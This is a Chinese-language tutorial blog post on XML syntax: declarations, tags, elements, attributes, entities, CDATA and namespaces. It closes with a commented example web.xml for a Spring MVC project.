无废话XML--XML细节

今天开始研究xml，其实在实际的开发中，我们参与到真正的XML开发并不是很多，最多写一个配置，但是我还是觉得很有必要把XML的知识整理一遍。作为基本的2种的数据交互载体（还有一个是json），基本的XML的规范还是应该要懂的，并不是单纯的去为了写一个配置去敲几行代码，至少应该把XML文档的解析和java对XML的处理要整理清楚了。

除了上面讲到的，其实还有一个很是普遍的情况来使用XML。比如说我们在撸码的时候，一些static final的属性或者字段（对应XML就是数据）我们不想硬码写4在代码中，最常用的就是2种方法：一种写在配置文件中，要不就是XML配置，要不就是properties配置，一种就是写在数据库中，个人觉得一些经常改变的配置这些完成可以封装成一个对象，然后统一存在数据库中，比如说一个页面的一些默认初始化信息等等。这样子在后期的时候，我们就根本不用来改项目，动都不用动，直接改数据库数据就好了，很是方便。

好了，废话不多说，无废话XML现在开篇：

定义：XML(eXtensible Markup Language)是万维网联盟(World Wide Web Consortium W3C)定义的一种可扩展标志语言。可扩展性指允许用户按照XML规则自定义标记(tags 标签)。

强项：轻松表达多层结构的数据；可扩展。

优点：平台无关，语言无关。设计目标是描述数据并集中于数据的内容，与显示分离。

提醒：不能用XML来直接写网页。即便是包含了XML数据，依然要转换成HTML格式才能在浏览器上显示。

语法规则：1，XML文件有且仅有一个根标记，其他标记必须封装在根标记中，文件的标记必须形成树状结构。2，大小写敏感。3，标记的属性必须用""或''括起来。

 

• XML细节：
• 一、 声明

大多数XML文档以XML声明作为开始，它向解析器提供了关于文档的基本信息。建议使用XML声明，但它不是必需的。如果有的话，那么它一定是文档的第一行内容。    例如：

   

 <?xml  version="1.0"  encoding="UTF-8" standalone="no"?>

声明最多可以包含三个名称-值对（许多人称它们为属性，尽管在技术上它们并不是）。（<?xml 问号与xml之间不能有空格。）

    1，version 是使用的XML 版本:1.0, 1.1。实际中一般往往都是1.0的。

    2，encoding 是该文档所使用的字符集。该声明中引用的ISO-8859-1 字符集包括大多数西欧语言用到的所有字符。

      默认字符在UTF-8字符集中，这是一个几乎支持世界上所有语言的字符和象形文字的Unicode 标准。

    3，standalone（可以是yes 或no）定义了是否孤立处理该文档。      如果XML文档没有引用任何其它文件，则可以指定 standalone="yes"。      如果XML文档引用其它描述该文档可以包含什么的文件(如DTD)，则 standalone="no"。默认值为"no"。

•  二、 标记

左尖括号“<“和右尖括号“>“之间的文本

      1. 在<  >中的称为开始标记；在</  >中的称为结束标记

      2. 空标记：不包含元素的标记。空标签必须以“/>”结束。格式： <空标记的名称/> <空标记的名称 属性列表/>

    注意：     1， 除空标记外，标签必须成对：有始有终。所有的开始标签和结束标签必须匹配。     ,2，在标记符“<“和"标记的名称"之间不能含有空格。在标记符"/>"前面可以有空格或回行。3， 标签必须嵌套正确。

    XML标记必须遵循下面的命名规则:

    　1.名字中可以包含字母、数字以及其它字母或文字；还可包含下划线(_)、点(.)、连字符(-)

    　2.名字不能以数字开头；可以用字母、文字或者下划线开头。

    　3.名字不能以字母xml (或XML 或Xml ..) 开头；

    　4.名字中不能包含空格。

•     三、 元素

    位于开始标记与结束标记间。    一份文档有且只有一个根元素。    根元素下的所有元素叫“子元素”。    标签必须嵌套正确。    不包含自子元素的元素叫“叶子”；包含子元素的元素叫“分支”。

    如： <eric>…… </eric>

•     四、 属性

一个元素的开始标志中的名称－值对。    所有的属性值必须位于单引号或双引号中。    每一个元素的属性不允许出现超过一次。    开始标志内，类似赋值语句

    如：<eric age="80">……</eric>

•     五、 注释

注释可以出现在文档的任何位置。(但不建议放在声明前面，部分浏览器会报错)。    注释以 <!-- 开始，以 -->  结束。    注释内不能包含双连字符（--）；除此之外，注释可以包含任何内容。    注释内的任何标记都被忽略。

•     六、 处理指令

处理指令是为使用一段特殊代码而设计的标记，简称为PI。    大多数XML 文档都是以XML 声明开始，该声明本身就是特殊的处理指令。    处理指令对应用程序特定的数据进行编码。一条处理指令包含一个目标，后跟数据。用<?和?>定界符将处理指令包起来。    目标确定应用程序，而对应用程序不能识别的目标，其会忽略这些处理指令。

•     七、 实体

XML 规范预定义了五个实体。

      &lt;   ==== <

      &gt;   ==== >

      &quot; ==== ”

      &apos; ==== ‘

      &amp;  ==== &

    自定义实体:在DTD中定义 <!ENTITY 实体标志 "实体内容">。      在xml中引用自定义实体，用  &实体标志;  代表实体内容。    另外，无法从键盘输入的字符可以使用字符引用，就是用字符的Unicode代码点来引用该字符。      以"&#x"开始字符引用，以分号结尾，x必须为小写，使用十六进制。如： = 表示等于号。      也可以使用字符引用来引用 <,>,',",&  "。      查看字符的代码点（附件-> 系统工具-> 字符映射表）。

• 八、 CDATA

当一段文本中出现很多实体引用和字符引用时，会导致文本数据的读写困难，CDATA段就是为了解决这一问题引入的。    DATA区段开始于 "<![CDATA["  结束于  "]]>" 。    CDATA内部的所有东西都会被解析器忽略解析，不用检查它的格式。    但是CDATA段中不能嵌套另一个CDATA段。

•     九、 属性

属性是标记的属性，可以为标记添加附加信息。

    (1)属性的组成

       属性是一个名值对，必须由名称和值组成，属性必须在标记的开始标记或空标记中声明，用"="为属性指定一个值。

       语法如下：

           <标记名称 属性列表/> 

           <标记名称 属性列表>XXX</标记名称> 

       例如: <桌子 width="40" height='100'/> 

    (2)使有属性的原则

       属性不体现数据的结构，只是数据的附加信息；

       一个信息是作为一个标记的属性或子标记，取决于具体问题，不要因为属性的频繁使用破坏XML的数据结构。

       下面是一个结构清晰的XML文件:

           

<楼房 height="23m" width="12m">
               <结构>混凝土</结构>
               <类别>商用</类别>
           </楼房>

下面是一个结构不清晰的XML文件:

         

 <楼房 height="23m" width="12m" 结构="混凝土" 建筑商="华海集团" 类别="商用"></楼房> 

关于什么时候使用属性，什么时候使用子元素，严格上并没有规定：我们在自定义一个XML尽量的遵循一些默认的规则，比如说要是这个属性里面还有下一级，那么就应该使用子元素了。总体上的规则也是很好理解的：要是这个字段是表示前面那个标签的一个附属的说明的话，就应该用属性。要是这个字段和前面那个标签在结构上有明确的父子包含关系，就应该用子元素了。

• 十、 名称空间/包

XML文件允许自定义标记，所以可能出现同名字的标记，为了区分这些标记，就需要使用名称空间。

    名称空间的目的是有效的区分相同的标记，其实并不真实存在。

    语法： 声明有前缀的名称空间  xmlns:前缀名=名称空间的名字

          声明无前缀的名称空间  xmlns=名称空间的名字  (缺省) 

    注意：当且仅当它们的名字相同时称二个名称空间相同，也就是说，对于有前缀的名称空间，如果二个名称空间的名字相同，即使前缀不相同，也是相同的名称空间，返之同然。前缀只是方便引用而已。

•   十一、自定义XML

实际开发中，基本不会自己去定义一个XML，这个只是我们自己用来实践XML的时候才会写到。我们自己定义一个XML，那么到底如何验证我们自己写的XML没有问题呢？很简单，用浏览器打开，要是用浏览器可以正确的打开，那么我们这个XML就没有问题。

  以下附一份规格良好的XML（我最早的时候研究SPRINGMVC时的WEB.XML）：

<?xml version="1.0" encoding="UTF-8"?>
<web-app 	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
			xmlns="http://java.sun.com/xml/ns/javaee"
			xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"	id="WebApp_ID" version="2.5">

	<display-name>springMVC</display-name>
	<!-- 默认跳转页面  在这里可以配置多个 -->
	<welcome-file-list>
		<welcome-file>index.html</welcome-file>
	</welcome-file-list>

	<!-- 在这里配置总的配置文件 任何架构的入口都是在这里嫁入的。以后看任何一个项目就先从这里看配置 这样子就明白项目所使用的框架和后台技术了
		其中下面4个类型的执行顺序是：context-param###listener###filter###servlet -->
	<context-param>
		<param-name>contextConfigLocation</param-name>
		<!-- 业务层和持久层的spring的配置文件 这些配置文件被父类spring容器使用 如果有多个文件 使用逗号隔开-->
		<param-value>classpath*:config/springAnnotation-*.xml</param-value>
	</context-param>
	<!-- 上下文监听器 -->
	<listener>
		<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
	</listener>

	<!-- 使用hibernate的get或者load方法 在加事务控制的时候 为了效率问题和其他方法的事务控制是不一样的 在数据库抓取数据的时候	session已经关闭了 所以这里要加上这个过滤器 来叫session打开 -->
	<filter>
		<filter-name>openSession</filter-name>
		<filter-class>org.springframework.orm.hibernate4.support.OpenSessionInViewFilter</filter-class>
		<init-param>
			<param-name>sessionFactoryBeanName</param-name>
			<param-value>sessionFactory</param-value>
		</init-param>
	</filter>
	<filter-mapping>
		<filter-name>openSession</filter-name>
		<url-pattern>/*</url-pattern>
	</filter-mapping>

	<!-- 解决使用ajax技术post提交表单乱码问题 要是get方法的话 一般在服务器里面配置了编码格式就可以了 但是post不行 所以要自定义 -->
	<filter>
		<filter-name>encodingFilter</filter-name>
		<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
		<init-param>
			<param-name>encoding</param-name>
			<param-value>UTF-8</param-value>
		</init-param>
		<init-param>
			<param-name>forceEncoding</param-name>
			<param-value>true</param-value>
		</init-param>
	</filter>
	<!-- 这里是jsp中的编码格式 都被设置为统一的了 -->
	<filter-mapping>
		<filter-name>encodingFilter</filter-name>
		<url-pattern>/*</url-pattern>
	</filter-mapping>

	<servlet>
		<servlet-name>springMVC</servlet-name>
		<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
		<init-param>
			<!-- 加载的spring的配置文件的位置 可以和总配置文件放在一起 但是最好不要 在src下建一个配置 文件的包 这样子很清楚的 -->
			<param-name>contextConfigLocation</param-name>
			<param-value>classpath*:config/springAnnotation-servlet.xml</param-value>
		</init-param>
		<!-- 取值要是大于0 就是servlet随着容器的启动就启动了 0的话是用到的话才会启动呢 而且数值越小 启动的顺序越优先 -->
		<load-on-startup>1</load-on-startup>
	</servlet>
	<servlet-mapping>
		<servlet-name>springMVC</servlet-name>
		<url-pattern>/</url-pattern>
	</servlet-mapping>
</web-app>